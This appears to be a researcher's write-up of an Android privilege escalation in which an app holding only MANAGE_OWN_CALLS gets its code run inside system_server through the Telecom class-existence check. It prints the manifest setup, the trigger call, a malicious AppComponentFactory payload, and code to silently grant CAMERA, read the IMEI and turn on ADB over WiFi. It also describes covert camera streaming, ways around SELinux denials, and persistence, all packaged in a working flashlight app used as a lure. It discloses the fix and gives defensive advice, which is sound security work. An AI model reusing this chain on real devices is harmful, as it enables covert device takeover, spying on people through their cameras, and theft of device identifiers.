Background - Android's Permission Model and system_server
Android's security model is built on Linux process isolation. Every app gets its own UID, its own sandbox. Your banking app cannot read your messaging app's data. They are completely separated at the kernel level.
Permissions come in three tiers:
| Tier | Examples | Grant Method |
|---|---|---|
| Normal | INTERNET, MANAGE_OWN_CALLS | Auto-granted at install. No user prompt. |
| Dangerous | CAMERA, READ_CONTACTS | Requires explicit user approval via dialog. |
| Signature | WRITE_SECURE_SETTINGS | Reserved for system apps signed with platform key. |
At the top of this hierarchy sits system_server - the single most powerful process on any Android device. Running as UID 1000, it manages permissions, telephony, Bluetooth, settings, package installation, and virtually every system service. If you can run code as UID 1000, you own the device. You are the system.
The Vulnerability - Code Loading in serviceClassExists()
Inside the Telecom framework, InCallController has a method called serviceClassExists(). Its stated purpose is simple: check whether an app has a valid InCallService class. But the implementation is catastrophic.
// Inside system_server process
private boolean serviceClassExists(String packageName) {
Context packageContext = mContext.createPackageContextAsUser(
packageName,
CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY, // ← the bug
userHandle
);
ClassLoader cl = packageContext.getClassLoader();
// getClassLoader() calls AppComponentFactory.instantiateClassLoader()
// which is ATTACKER-CONTROLLED CODE running in system_server
...
}
Two flags do the damage:
CONTEXT_INCLUDE_CODE tells the system to load the app's code (DEX/classloader) into the calling process. CONTEXT_IGNORE_SECURITY tells it to skip any security checks that would normally prevent this. The calling process is system_server.
When getClassLoader() is called on this context, Android's runtime invokes AppComponentFactory.instantiateClassLoader() - a method the app developer defines. The app's code now executes inside system_server, with UID 1000 privileges.
Trigger Mechanism - Three Lines in AndroidManifest
Setting up the exploit requires three declarations in the app's AndroidManifest.xml:
<!-- 1. Auto-granted permission - the only entry point needed -->
<uses-permission android:name="android.permission.MANAGE_OWN_CALLS" />
<!-- 2. Custom AppComponentFactory - our code runs here -->
<application
android:appComponentFactory=".EvilFactory"
tools:replace="android:appComponentFactory">
<!-- 3. Fake InCallService with CLASS_EXISTENCE_CHECK -->
<service
android:name=".DummyService"
android:permission="android.permission.BIND_INCALL_SERVICE"
android:exported="true">
<meta-data
android:name="android.telecom.CLASS_EXISTENCE_CHECK"
android:value="true" />
<intent-filter>
<action android:name="android.telecom.InCallService" />
</intent-filter>
</service>
</application>
The DummyService class intentionally does not exist. The CLASS_EXISTENCE_CHECK metadata tells InCallController to call serviceClassExists() - which triggers the vulnerable code path. The app simply calls TelecomManager.addCall() and the system does the rest.
The trigger code is one line:
// Called when user taps the torch button
val telecom = getSystemService(TelecomManager::class.java)
telecom.addCall(callAttributes) // Triggers InCallController → exploit
Exploit Chain - From Torch Tap to UID 1000
The exploit is disguised as a flashlight app called "Torch". Here is what happens when the user taps the torch button:
The EvilFactory guards against running in the app's own process - it only fires when UID does not match the app's UID, meaning it is running inside system_server:
class EvilFactory : AppComponentFactory() {
override fun instantiateClassLoader(cl: ClassLoader, aInfo: ApplicationInfo): ClassLoader {
if (Process.myUid() == aInfo.uid) return super.instantiateClassLoader(cl, aInfo)
// We are in system_server (UID 1000)
Thread { ExploitPayload.run(aInfo.packageName) }.start()
return super.instantiateClassLoader(cl, aInfo)
}
}
What UID 1000 Can Do - Demonstrated Capabilities
With code execution as system_server, the attacker has the same power as the Android system itself. We verified each of these capabilities on a stock Android 17 emulator.
System Settings Modification
UID 1000 can write to Settings.Global and Settings.Secure - stores that normally require WRITE_SECURE_SETTINGS (a signature-level permission impossible for third-party apps to obtain).
// Change Bluetooth device name - requires WRITE_SECURE_SETTINGS
Settings.Global.putString(cr, "bluetooth_name", "CVE-2026-49881")
Settings.Global.putString(cr, "device_name", "CVE-2026-49881")
BluetoothAdapter.getDefaultAdapter()?.name = "CVE-2026-49881"
// Enable ADB over WiFi - instant remote shell access
Settings.Global.putInt(cr, "adb_wifi_enabled", 1)
Changing the Bluetooth name is the primary visual proof during our demo - it is immediately visible in Settings. Enabling ADB WiFi gives an attacker on the same network a full shell with adb connect.
Silent Permission Grants
This is arguably the most dangerous capability. UID 1000 can call PackageManager.grantRuntimePermission() to silently grant any dangerous permission to any app - no dialog, no notification, no user consent.
val pm = ctx.packageManager
val method = pm.javaClass.getMethod(
"grantRuntimePermission",
String::class.java, String::class.java, UserHandle::class.java
)
method.invoke(pm, packageName, "android.permission.CAMERA", Process.myUserHandle())
// CAMERA permission granted. No dialog. No notification.
IMEI Exfiltration
Reading the IMEI normally requires READ_PRIVILEGED_PHONE_STATE - a permission reserved exclusively for system apps. From UID 1000, it is a direct API call:
val tm = ctx.getSystemService(TelephonyManager::class.java)
val imei = tm.getImei(0) // No permission declared anywhere in the app
Silent Camera Streaming
After silently granting CAMERA permission, the exploit starts a foreground service that captures camera frames entirely off-screen using Camera2 API with ImageReader (no SurfaceView - nothing appears on the device display). Frames are streamed as MJPEG over HTTP on port 8888. Any browser on the same network can view the live feed.
The camera service runs as foregroundServiceType="dataSync" and survives the user swiping the app from recents. The only on-device indicator is the green privacy dot in the status bar - and most users do not know what it means.
SELinux - Defense in Depth, Not a Silver Bullet
Android's SELinux policy did block several actions we attempted from the system_server context. But it could not prevent the initial code execution - that is a logic bug in Java code, not a policy violation that SELinux can intercept.
| Action | SELinux Result | Workaround |
|---|---|---|
| Direct camera access from system_server | Denied | Grant permission to app, camera runs in app process |
| Execute am / pm shell binaries | Denied | Use Java reflection - Context.startForegroundService() |
| Write to app data directories | Denied | Use Settings.Global as shared state |
| setprop system properties | Denied | Use Settings.Global writes instead |
| Call grantRuntimePermission() | Allowed | No workaround needed - direct call works |
| Write to Settings.Global | Allowed | No workaround needed |
| Read IMEI via TelephonyManager | Allowed | No workaround needed |
| Start foreground service in other app | Allowed | No workaround needed |
Persistence - What Survives a Reboot
We tested what persists across a device reboot:
| Artifact | Survives Reboot? | Notes |
|---|---|---|
| Silently granted permissions | Yes - permanently | Stored in system permission database. No user consent recorded. |
| Settings.Global writes | Yes | BT name, ADB WiFi, device name all persist. |
| BluetoothAdapter.setName() | Yes | Written to native BT stack. Survives toggle. Only cleared by reboot + Settings.Global restore. |
| Exploit thread in system_server | No | Thread dies on reboot. Must re-trigger to get code execution again. |
| Camera streaming | No | Foreground service stops on reboot. But CAMERA permission persists - can be restarted. |
The critical finding: silently granted permissions persist forever. Even after a reboot, the app retains every dangerous permission that was granted without the user's knowledge. The exploit thread itself dies, but the damage is already done - the app can now use CAMERA, CONTACTS, SMS, LOCATION, and any other permission it was silently granted, without needing to re-trigger the exploit.
The Fix and Mitigation
Google's fix was straightforward: remove the CONTEXT_IGNORE_SECURITY flag from serviceClassExists(). The class existence check no longer loads app code in system_server.
Context packageContext = mContext.createPackageContextAsUser(
packageName,
- CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY,
+ 0, // No code loading, no security bypass
userHandle
);
For users:
Update to the latest Android security patch. Be cautious of apps requesting MANAGE_OWN_CALLS if they do not obviously need VoIP functionality. If you see an unexpected green privacy dot in the status bar, investigate - go to Settings > Privacy > Permission manager > Camera.
For framework engineers:
Never use CONTEXT_INCLUDE_CODE with untrusted packages. Validate every code loading path in system services. Treat every IPC boundary as a potential security boundary. The combination of CONTEXT_INCLUDE_CODE | CONTEXT_IGNORE_SECURITY should be treated as a red flag during code review.
Demo - Proof of Concept
We built a fully functional proof-of-concept: a flashlight app called "Torch" that demonstrates the complete exploit chain. The app actually works as a flashlight - the exploit fires silently in the background when the user taps the torch button.
The PoC includes:
• A demo automation script for conference presentations
• An MJPEG camera stream viewer for the presenter's laptop
• Full revert functionality - long-press the torch button to undo all changes
github.com/cyb3r-w0lf/CVE-2026-49881
References
Google's official security advisory for this vulnerability, including affected versions and patch information.
The upstream patch that removes the dangerous flag combination from InCallController.serviceClassExists().
Complete proof-of-concept source code, demo automation script, and conference presentation materials.
Official Android documentation for the Context flags used in the vulnerable code path.